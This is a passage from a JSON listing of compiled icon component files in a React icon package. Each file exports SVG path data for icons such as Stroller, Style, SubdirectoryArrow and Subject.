    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5c.29 0 .58.02.86.05L9.49 6.66l-1.4-1.4C8.71 5.09 9.35 5 10 5m5 3.66V15H9.6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5c.29 0 .58.02.86.05L9.49 6.66l-1.4-1.4C8.71 5.09 9.35 5 10 5m5 3.66V15H9.6zM18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-8.8 10.32C6.12 16 6.58 17 7.43 17H15c1.1 0 2-.9 2-2V6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3M10 3c-1.97 0-3.79.64-5.28 1.72l4.89 4.89 4.7-5.51C13.03 3.4 11.56 3 10 3m6 15c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'StrollerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5c.29 0 .58.02.86.05L9.49 6.66l-1.4-1.4C8.71 5.09 9.35 5 10 5m5 3.66V15H9.6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5c.29 0 .58.02.86.05L9.49 6.66l-1.4-1.4C8.71 5.09 9.35 5 10 5m5 3.66V15H9.6zM18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-8.8 10.32C6.12 16 6.58 17 7.43 17H15c1.1 0 2-.9 2-2V6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7h2v-.52C22 4.56 20.52 3 18.65 3M10 3c-1.97 0-3.79.64-5.28 1.72l4.89 4.89 4.7-5.51C13.03 3.4 11.56 3 10 3m6 15c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'StrollerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Style.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.53 19.65 1.34.56v-9.03l-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61m19.5-3.7L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6M7.88 8.75c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2 11c0 1.1.9 2 2 2h1.45l-3.45-8.34z\"\n}), 'Style');"
  },
  {
    "path": "packages/mui-icons-material/lib/Style.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.53 19.65 1.34.56v-9.03l-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61m19.5-3.7L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6M7.88 8.75c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2 11c0 1.1.9 2 2 2h1.45l-3.45-8.34z\"\n}), 'Style');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.53 19.65 1.34.56v-9.03l-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61m19.5-3.7L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6m-9.2 3.8L7.87 7.79l7.35-3.04h.01l4.95 11.95z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.88 19.75c0 1.1.9 2 2 2h1.45l-3.45-8.34z\"\n}, \"2\")], 'StyleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.53 19.65 1.34.56v-9.03l-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61m19.5-3.7L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6m-9.2 3.8L7.87 7.79l7.35-3.04h.01l4.95 11.95z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.88 19.75c0 1.1.9 2 2 2h1.45l-3.45-8.34z\"\n}, \"2\")], 'StyleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.53 19.65 1.34.56v-9.03l-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61m19.5-3.7L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6M7.88 8.75c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2 11c0 1.1.9 2 2 2h1.45l-3.45-8.34z\"\n}), 'StyleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.53 19.65 1.34.56v-9.03l-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61m19.5-3.7L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6M7.88 8.75c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2 11c0 1.1.9 2 2 2h1.45l-3.45-8.34z\"\n}), 'StyleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.87 20.21v-9.03l-3.19 7.7zm18.92-2.43L16.31 2.14 5.26 6.71l6.48 15.64zM7.88 8.75c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2 13h3.45l-3.45-8.34z\"\n}), 'StyleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.87 20.21v-9.03l-3.19 7.7zm18.92-2.43L16.31 2.14 5.26 6.71l6.48 15.64zM7.88 8.75c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2 13h3.45l-3.45-8.34z\"\n}), 'StyleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.22 4.75 7.87 7.79l4.96 11.96 7.35-3.05zM11 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.87 11.18-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61l1.34.56zm18.16 4.77L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6m-9.2 3.8L7.87 7.79l7.35-3.04h.01l4.95 11.95z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"9\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.33 21.75-3.45-8.34v6.34c0 1.1.9 2 2 2z\"\n}, \"3\")], 'StyleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StyleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.22 4.75 7.87 7.79l4.96 11.96 7.35-3.05zM11 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.87 11.18-2.43 5.86c-.41 1.02.08 2.19 1.09 2.61l1.34.56zm18.16 4.77L17.07 3.98c-.31-.75-1.04-1.21-1.81-1.23-.26 0-.53.04-.79.15L7.1 5.95c-.75.31-1.21 1.03-1.23 1.8-.01.27.04.54.15.8l4.96 11.97c.31.76 1.05 1.22 1.83 1.23.26 0 .52-.05.77-.15l7.36-3.05c1.02-.42 1.51-1.59 1.09-2.6m-9.2 3.8L7.87 7.79l7.35-3.04h.01l4.95 11.95z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"9\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.33 21.75-3.45-8.34v6.34c0 1.1.9 2 2 2z\"\n}, \"3\")], 'StyleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.71 15.71 4.58 4.58c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42L8.83 16H19c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v9H8.83l2.88-2.87c.39-.39.39-1.03 0-1.42s-1.03-.39-1.42 0l-4.58 4.58c-.39.39-.39 1.03 0 1.42\"\n}), 'SubdirectoryArrowLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.71 15.71 4.58 4.58c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42L8.83 16H19c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v9H8.83l2.88-2.87c.39-.39.39-1.03 0-1.42s-1.03-.39-1.42 0l-4.58 4.58c-.39.39-.39 1.03 0 1.42\"\n}), 'SubdirectoryArrowLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 9 1.42 1.42L8.83 14H18V4h2v12H8.83l3.59 3.58L11 21l-6-6z\"\n}), 'SubdirectoryArrowLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.29 15.71-4.58 4.58c-.39.39-1.03.39-1.42 0s-.39-1.03 0-1.42L15.17 16H5c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v9h9.17l-2.88-2.87c-.39-.39-.39-1.03 0-1.42s1.03-.39 1.42 0l4.58 4.58c.39.39.39 1.03 0 1.42\"\n}), 'SubdirectoryArrowRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.29 15.71-4.58 4.58c-.39.39-1.03.39-1.42 0s-.39-1.03 0-1.42L15.17 16H5c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v9h9.17l-2.88-2.87c-.39-.39-.39-1.03 0-1.42s1.03-.39 1.42 0l4.58 4.58c.39.39.39 1.03 0 1.42\"\n}), 'SubdirectoryArrowRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubdirectoryArrowRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-6 6-1.42-1.42L15.17 16H4V4h2v10h9.17l-3.59-3.58L13 9z\"\n}), 'SubdirectoryArrowRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subject.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'Subject');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subject.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'Subject');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'SubjectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'SubjectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectRounded.js",
